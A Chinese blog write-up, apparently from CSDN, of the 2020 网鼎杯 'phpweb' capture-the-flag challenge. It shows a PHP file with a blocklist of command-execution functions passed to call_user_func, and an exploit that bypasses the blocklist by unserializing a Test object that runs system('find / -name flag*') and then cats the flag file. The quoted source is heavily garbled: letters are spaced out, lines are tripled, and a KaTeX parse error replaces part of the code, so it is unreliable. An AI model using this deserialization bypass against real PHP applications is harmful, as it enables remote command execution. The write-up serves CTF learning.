[网鼎杯 2020 朱雀组]phpweb--程序执行函数漏洞

call_user_func
在这里插入图片描述用file_get_content函数获取index.php文件内容。
在这里插入图片描述<?php
d i s a b l e f u n = a r r a y ( " e x e c " , " s h e l l e x e c " , " s y s t e m " , " p a s s t h r u " , " p r o c o p e n " , " s h o w s o u r c e " , " p h p i n f o " , " p o p e n " , " d l " , " e v a l " , " p r o c t e r m i n a t e " , " t o u c h " , " e s c a p e s h e l l c m d " , " e s c a p e s h e l l a r g " , " a s s e r t " , " s u b s t r r e p l a c e " , " c a l l u s e r f u n c a r r a y " , " c a l l u s e r f u n c " , " a r r a y f i l t e r " , " a r r a y w a l k " , " a r r a y m a p " , " r e g i s t r e g i s t e r s h u t d o w n f u n c t i o n " , " r e g i s t e r t i c k f u n c t i o n " , " f i l t e r v a r " , " f i l t e r v a r a r r a y " , " u a s o r t " , " u k s o r t " , " a r r a y r e d u c e " , " a r r a y w a l k " , " a r r a y w a l k r e c u r s i v e " , " p c n t l e x e c " , " f o p e n " , " f w r i t e " , " f i l e p u t c o n t e n t s " ) ; f u n c t i o n g e t t i m e ( disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg", "assert","substr_replace","call_user_func_array", "call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function", "register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce" ,"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime( disablefun=array("exec","shellexec","system","passthru","procopen","showsource","phpinfo","popen","dl","eval","procterminate","touch","escapeshellcmd","escapeshellarg","assert","substrreplace","calluserfuncarray","calluserfunc","arrayfilter","arraywalk","arraymap","registregistershutdownfunction","registertickfunction","filtervar","filtervararray","uasort","uksort","arrayreduce","arraywalk","arraywalkrecursive","pcntlexec","fopen","fwrite","fileputcontents");functiongettime(func, $p) {
r e s u l t = c a l l u s e r f u n c ( result = call_user_func( result=calluserfunc(func, $p);
a = g e t t y p e ( a= gettype( a=gettype(result);
if ($a == “string”) {
return $result;
} else {return “”;}
}
class Test {
var $p = “Y-m-d h:i:s a”;
var KaTeX parse error: Expected group after '_' at position 29: …; function _̲_destruct() { …this->func != “”) {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST[“func”];
$p = R E Q U E S T [ " p " ] ; i f ( _REQUEST["p"]; if ( REQUEST["p"];if(func != null) {
f u n c = s t r t o l o w e r ( func = strtolower( func=strtolower(func);
if (!in_array( f u n c , func, func,disable_fun)) {
echo gettime($func, $p);
}else {
die(“Hacker…”);
}
}
?>

这里发现他过滤了很多函数。通过反序列化函数调用Test类。

class Test {
    var $p = "find / -name flag*";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a)
?>

find / -name flag:获取名字里面有flag的所有文件名。
cat /tmp/flagoefiu4r93:看文件内容
在这里插入图片描述在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

熊是本熊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值